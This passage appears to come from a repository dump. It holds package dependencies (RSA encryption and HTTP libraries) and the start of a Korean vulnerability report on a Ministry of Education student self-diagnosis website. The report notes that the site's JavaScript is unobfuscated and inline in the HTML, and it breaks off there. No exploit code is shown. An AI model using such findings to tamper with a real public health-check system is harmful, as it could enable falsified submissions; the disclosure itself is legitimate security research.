"jsencrypt": "^3.1.0", 14 | "node-jsencrypt": "^1.0.0", 15 | "superagent": "^6.1.0" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 구 자가진단 사이트 취약점 보고서 2 | > 이 보고서는 VINTO가 작성하였으며 MIT 라이센스로 배포됩니다. 3 | > 또한 이 보고서를 악용하여 발생하는 법적 책임은 모두 당사자에게 있습니다. 4 | 5 | > 교육부의 권고/안내사항 및 정보통신망법 제44조의2 1항에 따라 이 취약점으로 인해 피해자가 발생할 경우, 피해자의 요청에 따라 해당 취약점이 완전히 막힐 때까지 취약점 보고서의 공개를 잠정 중단할 것을 알립니다. 6 | 7 | 🔑 취약점 8 | ============ 9 | Script의 난독화 부재 10 | ------------ 11 | Chrome Dev Tool을 통해 자가진단 페이지를 본 모습 12 | 13 | > Chrome Dev Tool을 통해 자가진단 페이지를 본 모습 14 | 15 | 교육부가 개발한 자가진단 홈페이지를 Chrome Dev Tool로 분석한 결과, 16 | Javascript 코드가 .js 파일로 따로 분리되지 않고 HTML 파일에 ```